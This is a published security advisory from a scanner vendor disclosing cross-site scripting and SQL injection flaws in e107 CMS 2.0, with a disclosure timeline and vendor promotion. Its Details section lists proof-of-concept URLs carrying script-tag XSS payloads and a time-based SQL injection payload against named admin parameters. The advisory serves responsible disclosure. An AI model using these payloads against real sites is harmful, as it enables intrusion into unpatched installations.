XSS and SQL Injection Vulnerabilities in e107

Information

Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in e107
Software: e107 v2.0 and possibly below.
Vendor Homepage: http://e107.org/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-007

Description

e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL which gives you a totally dynamic and professional website “out of the box”. It’s open-source (free), easily customized and doesn’t require any knowledge of programming languages in order to use it to build a web site. It is simple to use for a novice and yet powerful and flexible enough to meet the needs of professionals.

Details

e107 is affected by XSS and SQL Injection vulnerabilities in version 2.0.
Example PoC urls are as follows:

  • XSS
    http://example.com/e107_admin/users.php?searchquery=as&filter_options=user_ban__2&filter='"--></style></script><script>alert(0x0007FA)</script>
    http://example.com/e107_admin/users.php?searchquery='"--></style></script><script>alert(0x0006A5)</script>&filter_options=user_ban__2&filter=unverified
    http://example.com/e107_admin/image.php?mode=main&action=dialog&tagid='"--></style></script><script>alert(0x0014D4)</script>&iframe=1
    http://example.com/submitnews.php (POST ‘submitnews_title’ param vulnerable to XSS)
    http://example.com/e107_admin/meta.php (POST ‘meta_author’ param vulnerable to XSS)
    http://example.com/news.php?extend.3=3 (POST ‘comment’ param vulnerable to XSS)
    http://example.com/e107_admin/language.php (POST ‘multilanguage_subdomain’ param vulnerable to XSS)
  • SQL Injection
    http://example.com/e107_admin/menus.php?configure=-1" or 1=(SELECT 1 FROM (SELECT SLEEP(25))A) "

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:

Solution

Developer replied with fixes are in git.

Advisory Timeline

26/02/2013 – First Contact – Request Security contact
05/05/2013 – Sent Vulnerabilities Details
10/07/2013 – Second Contact
15/07/2013 – Developer replied: fixes are in git.
06/03/2014 – Advisory Released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.